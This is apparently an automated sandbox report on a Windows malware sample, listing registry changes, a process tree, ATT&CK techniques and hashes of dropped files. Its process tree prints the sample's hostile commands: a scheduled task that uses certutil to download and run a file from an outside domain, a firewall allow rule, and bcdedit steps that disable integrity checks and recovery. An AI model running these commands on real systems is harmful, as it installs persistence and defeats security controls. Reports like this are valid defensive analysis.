Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.execsrss.exe

pid	process
1056	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
1400	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
1548	csrss.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

464

pid	process
464

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1056	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Token: SeImpersonatePrivilege	1056	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
Token: SeSystemEnvironmentPrivilege	1548	csrss.exe

Suspicious use of WriteProcessMemory 58 IoCs

Processes:

4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.execmd.exepatch.execsrss.exe

description	pid	process	target process
PID 1400 wrote to memory of 1944	1400	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	cmd.exe
PID 1400 wrote to memory of 1944	1400	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	cmd.exe
PID 1400 wrote to memory of 1944	1400	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	cmd.exe
PID 1400 wrote to memory of 1944	1400	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	cmd.exe
PID 1944 wrote to memory of 1540	1944	cmd.exe	netsh.exe
PID 1944 wrote to memory of 1540	1944	cmd.exe	netsh.exe
PID 1944 wrote to memory of 1540	1944	cmd.exe	netsh.exe
PID 1400 wrote to memory of 1548	1400	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	csrss.exe
PID 1400 wrote to memory of 1548	1400	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	csrss.exe
PID 1400 wrote to memory of 1548	1400	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	csrss.exe
PID 1400 wrote to memory of 1548	1400	4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe	csrss.exe
PID 1984 wrote to memory of 2044	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 2044	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 2044	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1912	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1912	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1912	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1236	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1236	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1236	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1260	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1260	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1260	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 2032	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 2032	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 2032	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 928	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 928	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 928	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1696	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1696	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1696	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 904	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 904	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 904	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1804	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1804	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1804	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1248	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1248	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1248	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1116	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1116	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 1116	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 568	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 568	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 568	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 864	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 864	1984	patch.exe	bcdedit.exe
PID 1984 wrote to memory of 864	1984	patch.exe	bcdedit.exe
PID 1548 wrote to memory of 836	1548	csrss.exe	bcdedit.exe
PID 1548 wrote to memory of 836	1548	csrss.exe	bcdedit.exe
PID 1548 wrote to memory of 836	1548	csrss.exe	bcdedit.exe
PID 1548 wrote to memory of 836	1548	csrss.exe	bcdedit.exe
PID 1548 wrote to memory of 268	1548	csrss.exe	dsefix.exe
PID 1548 wrote to memory of 268	1548	csrss.exe	dsefix.exe
PID 1548 wrote to memory of 268	1548	csrss.exe	dsefix.exe
PID 1548 wrote to memory of 268	1548	csrss.exe	dsefix.exe

C:\Users\Admin\AppData\Local\Temp\4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
"C:\Users\Admin\AppData\Local\Temp\4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1056

C:\Users\Admin\AppData\Local\Temp\4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe
"C:\Users\Admin\AppData\Local\Temp\4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1400

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1540

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1548

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1040

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1792

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:2044

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1912

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1236

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:1260

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:2032

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:928

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
- Modifies boot configuration data using bcdedit
PID:1696

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:904

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:1804

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:1248

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:1116

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:568

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:864

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:836

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Executes dropped EXE
PID:268

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220712103802.log C:\Windows\Logs\CBS\CbsPersist_20220712103802.cab
1⤵
- Drops file in Windows directory
PID:2044

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Impair Defenses

T1562

Install Root Certificate

T1130

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
865102f865aee65ef616330fc6dbdd53

SHA1
065102e3383ebea037d6d239475360a96d10d215

SHA256
4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072

SHA512
429864e9d8a737f07115188e0c639e3ebb182a906307945b992a8337ae682952795c9cc9dd74a9a2012124bcf440cbafa074ab2a7d35acb834dfd23f4a8a20cc

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
Filesize
94KB

MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
865102f865aee65ef616330fc6dbdd53

SHA1
065102e3383ebea037d6d239475360a96d10d215

SHA256
4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072

SHA512
429864e9d8a737f07115188e0c639e3ebb182a906307945b992a8337ae682952795c9cc9dd74a9a2012124bcf440cbafa074ab2a7d35acb834dfd23f4a8a20cc

Download Submit
\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
865102f865aee65ef616330fc6dbdd53

SHA1
065102e3383ebea037d6d239475360a96d10d215

SHA256
4c5efdc9313c9fc6815288922ac6c5ab039088ece3e00832948f46c983570072

SHA512
429864e9d8a737f07115188e0c639e3ebb182a906307945b992a8337ae682952795c9cc9dd74a9a2012124bcf440cbafa074ab2a7d35acb834dfd23f4a8a20cc

Download Submit
memory/268-102-0x0000000000000000-mapping.dmp

Download
memory/568-98-0x0000000000000000-mapping.dmp

Download
memory/836-100-0x0000000000000000-mapping.dmp

Download
memory/864-99-0x0000000000000000-mapping.dmp

Download
memory/904-94-0x0000000000000000-mapping.dmp

Download
memory/928-92-0x0000000000000000-mapping.dmp

Download
memory/1056-56-0x0000000003C70000-0x0000000004472000-memory.dmp

Filesize
8.0MB

Download
memory/1056-58-0x0000000000400000-0x0000000003352000-memory.dmp

Filesize
47.3MB

Download
memory/1056-55-0x00000000038C0000-0x0000000003C67000-memory.dmp

Filesize
3.7MB

Download
